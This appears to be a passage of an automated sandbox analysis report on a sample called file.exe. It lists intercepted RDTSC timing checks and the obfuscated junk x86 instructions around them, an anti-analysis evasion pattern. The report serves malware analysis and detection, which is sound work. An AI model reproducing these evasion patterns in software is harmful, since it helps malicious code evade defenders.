Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0898 second address: 4EB089E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB089E second address: 4EB08BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007FD5B4DD6BA1h 0x00000013 mov edi, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08BA second address: 4EB08C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08C0 second address: 4EB08D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08D5 second address: 4EB08D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08D9 second address: 4EB08F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 2A6Fh 0x0000000e mov di, cx 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 pushad 0x00000017 mov bh, cl 0x00000019 push edi 0x0000001a pop ecx 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08F9 second address: 4EB08FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB08FD second address: 4EB0926 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 6662h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 jmp 00007FD5B0DE62F7h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0926 second address: 4EB092B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60042 second address: 4E600D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 jmp 00007FD5B0DE62EBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007FD5B0DE62F6h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov edx, esi 0x0000001a mov bx, ax 0x0000001d popad 0x0000001e and esp, FFFFFFF8h 0x00000021 jmp 00007FD5B0DE62F4h 0x00000026 xchg eax, ecx 0x00000027 pushad 0x00000028 mov ax, 4DEDh 0x0000002c mov dl, cl 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 mov si, 1F21h 0x00000035 mov edx, ecx 0x00000037 popad 0x00000038 xchg eax, ecx 0x00000039 pushad 0x0000003a jmp 00007FD5B0DE62F6h 0x0000003f movzx eax, dx 0x00000042 popad 0x00000043 push esp 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FD5B0DE62F9h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600D8 second address: 4E600DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600DE second address: 4E600E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600E2 second address: 4E600F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, E9B7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600F6 second address: 4E600FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E600FB second address: 4E60129 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d push eax 0x0000000e movsx edx, si 0x00000011 pop ecx 0x00000012 mov ebx, 7B9045F0h 0x00000017 popad 0x00000018 push ebx 0x00000019 pushad 0x0000001a mov edi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e mov al, 6Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60129 second address: 4E6012D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6012D second address: 4E601A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a pushad 0x0000000b jmp 00007FD5B08151EBh 0x00000010 mov eax, 1A6FCC6Fh 0x00000015 popad 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 jmp 00007FD5B08151F2h 0x0000001e xchg eax, edi 0x0000001f pushad 0x00000020 mov edx, esi 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 movsx edx, cx 0x0000002b call 00007FD5B08151EEh 0x00000030 pushfd 0x00000031 jmp 00007FD5B08151F2h 0x00000036 sbb esi, 7E89DA28h 0x0000003c jmp 00007FD5B08151EBh 0x00000041 popfd 0x00000042 pop eax 0x00000043 popad 0x00000044 xchg eax, edi 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601A7 second address: 4E601AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601AB second address: 4E601BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601BB second address: 4E601C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601C1 second address: 4E601E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B08151F4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601E1 second address: 4E601E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601E7 second address: 4E601EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601EB second address: 4E60294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FD622EA46FDh 0x00000011 pushad 0x00000012 jmp 00007FD5B0DE62ECh 0x00000017 call 00007FD5B0DE62F2h 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f popad 0x00000020 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000027 pushad 0x00000028 mov esi, ebx 0x0000002a pushfd 0x0000002b jmp 00007FD5B0DE62F9h 0x00000030 and esi, 0AA03516h 0x00000036 jmp 00007FD5B0DE62F1h 0x0000003b popfd 0x0000003c popad 0x0000003d je 00007FD622EA46ADh 0x00000043 jmp 00007FD5B0DE62EEh 0x00000048 mov edx, dword ptr [esi+44h] 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FD5B0DE62F7h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60294 second address: 4E602CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FD5B08151EEh 0x00000011 test edx, 61000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602CE second address: 4E602D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602D2 second address: 4E602EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602EF second address: 4E60319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD622EA466Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD5B0DE62EDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60319 second address: 4E6031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50610 second address: 4E5066B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B0DE62EFh 0x00000009 and ax, DF5Eh 0x0000000e jmp 00007FD5B0DE62F9h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov edi, esi 0x0000001d pushad 0x0000001e jmp 00007FD5B0DE62F4h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5066B second address: 4E5066F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5066F second address: 4E50689 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50689 second address: 4E506D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushfd 0x00000007 jmp 00007FD5B08151EDh 0x0000000c sbb esi, 4ACF8056h 0x00000012 jmp 00007FD5B08151F1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007FD5B08151EEh 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD5B08151EAh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506D7 second address: 4E506DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506DD second address: 4E506E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506E3 second address: 4E506E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E506E7 second address: 4E50715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007FD5B08151F4h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD5B08151EAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50715 second address: 4E5071B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5071B second address: 4E50721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50721 second address: 4E50725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50725 second address: 4E507D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD5B08151F1h 0x00000013 jmp 00007FD5B08151EBh 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007FD5B08151F8h 0x0000001f jmp 00007FD5B08151F5h 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FD5B08151F3h 0x00000030 xor ah, 0000001Eh 0x00000033 jmp 00007FD5B08151F9h 0x00000038 popfd 0x00000039 jmp 00007FD5B08151F0h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E507D9 second address: 4E50844 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FD5B0DE62F4h 0x00000011 push eax 0x00000012 jmp 00007FD5B0DE62EBh 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 mov eax, 70FCD4CBh 0x0000001e pushfd 0x0000001f jmp 00007FD5B0DE62F0h 0x00000024 or ch, FFFFFFD8h 0x00000027 jmp 00007FD5B0DE62EBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov esi, dword ptr [ebp+08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD5B0DE62F0h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50844 second address: 4E50853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50853 second address: 4E508A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B0DE62EFh 0x00000009 adc cx, 5FFEh 0x0000000e jmp 00007FD5B0DE62F9h 0x00000013 popfd 0x00000014 movzx ecx, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebx, 00000000h 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD5B0DE62EFh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E508A1 second address: 4E50980 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD5B08151ECh 0x00000012 add ecx, 6EBC4088h 0x00000018 jmp 00007FD5B08151EBh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FD5B08151F8h 0x00000024 add esi, 5682A2E8h 0x0000002a jmp 00007FD5B08151EBh 0x0000002f popfd 0x00000030 popad 0x00000031 je 00007FD6228DAC68h 0x00000037 jmp 00007FD5B08151F6h 0x0000003c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000043 pushad 0x00000044 mov dx, si 0x00000047 popad 0x00000048 mov ecx, esi 0x0000004a jmp 00007FD5B08151F4h 0x0000004f je 00007FD6228DAC3Fh 0x00000055 jmp 00007FD5B08151F0h 0x0000005a test byte ptr [76FA6968h], 00000002h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FD5B08151F7h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50980 second address: 4E50998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50998 second address: 4E5099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5099C second address: 4E50A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FD622EABCF8h 0x0000000e jmp 00007FD5B0DE62F7h 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 mov eax, 5E35236Bh 0x0000001c pushfd 0x0000001d jmp 00007FD5B0DE62F0h 0x00000022 and cl, FFFFFFF8h 0x00000025 jmp 00007FD5B0DE62EBh 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e mov edx, esi 0x00000030 call 00007FD5B0DE62F0h 0x00000035 pushfd 0x00000036 jmp 00007FD5B0DE62F2h 0x0000003b add esi, 0DC29388h 0x00000041 jmp 00007FD5B0DE62EBh 0x00000046 popfd 0x00000047 pop esi 0x00000048 popad 0x00000049 push eax 0x0000004a jmp 00007FD5B0DE62F6h 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A44 second address: 4E50A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A48 second address: 4E50A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A4E second address: 4E50A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50A54 second address: 4E50AED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007FD5B0DE62F0h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD5B0DE62F1h 0x00000019 or ecx, 15F3C566h 0x0000001f jmp 00007FD5B0DE62F1h 0x00000024 popfd 0x00000025 jmp 00007FD5B0DE62F0h 0x0000002a popad 0x0000002b xchg eax, ebx 0x0000002c pushad 0x0000002d mov al, 61h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007FD5B0DE62F9h 0x00000037 adc si, 4826h 0x0000003c jmp 00007FD5B0DE62F1h 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50AED second address: 4E50B49 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD5B08151F0h 0x00000008 sub ax, 31C8h 0x0000000d jmp 00007FD5B08151EBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push dword ptr [ebp+14h] 0x00000019 jmp 00007FD5B08151F6h 0x0000001e push dword ptr [ebp+10h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD5B08151F7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B49 second address: 4E50B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B4F second address: 4E50B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60DC9 second address: 4E60E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD5B0DE62F4h 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 movzx ecx, bx 0x00000013 pushfd 0x00000014 jmp 00007FD5B0DE62F5h 0x00000019 or ecx, 56DC0EE6h 0x0000001f jmp 00007FD5B0DE62F1h 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr [esp], ebp 0x00000029 jmp 00007FD5B0DE62EEh 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 pushfd 0x00000036 jmp 00007FD5B0DE62F3h 0x0000003b add ecx, 5D7DF6CEh 0x00000041 jmp 00007FD5B0DE62F9h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AFE second address: 4E60B82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushfd 0x0000000d jmp 00007FD5B08151F3h 0x00000012 sub cl, 0000004Eh 0x00000015 jmp 00007FD5B08151F9h 0x0000001a popfd 0x0000001b pop eax 0x0000001c pushfd 0x0000001d jmp 00007FD5B08151F1h 0x00000022 jmp 00007FD5B08151EBh 0x00000027 popfd 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FD5B08151F4h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B82 second address: 4E60B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B8A second address: 4E60BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FD5B08151F4h 0x0000000f add eax, 12602488h 0x00000015 jmp 00007FD5B08151EBh 0x0000001a popfd 0x0000001b mov ebx, eax 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BC5 second address: 4E60BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BC9 second address: 4E60BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BCD second address: 4E60BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BD3 second address: 4E60BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B08151F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BEC second address: 4E60BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BFB second address: 4E60BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BFF second address: 4E60C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60C03 second address: 4E60C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60C09 second address: 4E60C19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06C1 second address: 4EE06C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06C7 second address: 4EE06CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06CD second address: 4EE06D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE06D1 second address: 4EE06D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
